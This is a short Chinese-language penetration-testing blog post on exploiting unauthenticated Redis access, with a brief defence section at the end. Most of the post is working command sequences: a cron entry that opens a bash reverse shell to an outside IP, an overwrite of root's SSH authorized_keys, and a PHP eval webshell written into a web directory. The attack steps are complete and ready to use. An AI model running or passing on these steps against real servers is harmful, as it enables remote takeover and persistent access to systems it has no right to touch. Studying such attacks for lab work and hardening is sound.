首页 » NetworkSec » Penetration » 正文

redis未授权访问漏洞利用

0x00 基本命令

还有flushall

修改相关配置以重现漏洞

config:

redis.windows.conf:

bind 0.0.0.0

Protected-mode no

redis-server.exe “redis.windows.conf”

 

0x01 反弹shell

192.168.138.129:6379> set x “\n* * * * * bash -i >& /dev/tcp/192.168.43.237/7788 0>&1\n”

OK

192.168.138.129:6379> config set dir /var/spool/

OK

192.168.138.129:6379> config set dbfilename root

OK

192.168.138.129:6379> save

未能成功反弹,原因可能是debian,ubuntu的计划任务的格式很严格,须执行

crontab -u root /var/spool/cron/crontabs/root

通过语法检查才能执行计划任务。

 

0x02 添加ssh key

或者

cat sshpubkey.txt | redis-cli -h 192.168.138.129 -x set x

$ redis-cli -h 192.168.138.129

$ 192.168.138.129:6379> config set dir /root/.ssh/

OK

$ 192.168.138.129:6379> config get dir

1) “dir”

2) “/root/.ssh”

$ 192.168.138.129:6379> config set dbfilename “authorized_keys”

OK

$ 192.168.138.129:6379> save

OK

 

0x03 Web目录写webshell

192.168.43.237:6379> config set dir D:\phpStudy\WWW\

OK

192.168.43.237:6379> config set dbfilename redishell.php

OK

192.168.43.237:6379> set rs “<?php @eval($_POST[x]);?>”

OK

192.168.43.237:6379> save

 

0x04 防御方案

1. 加密码

redis.conf:
requirepass mypassword

 

2. 本地访问:
redis.conf:
bind 127.0.0.1

 

3. 改权限

chmod 400 ~/.ssh/authorized_keys

chattr +i ~/.ssh/authorized_keys

chattr +i ~/.ssh

 

 

Comment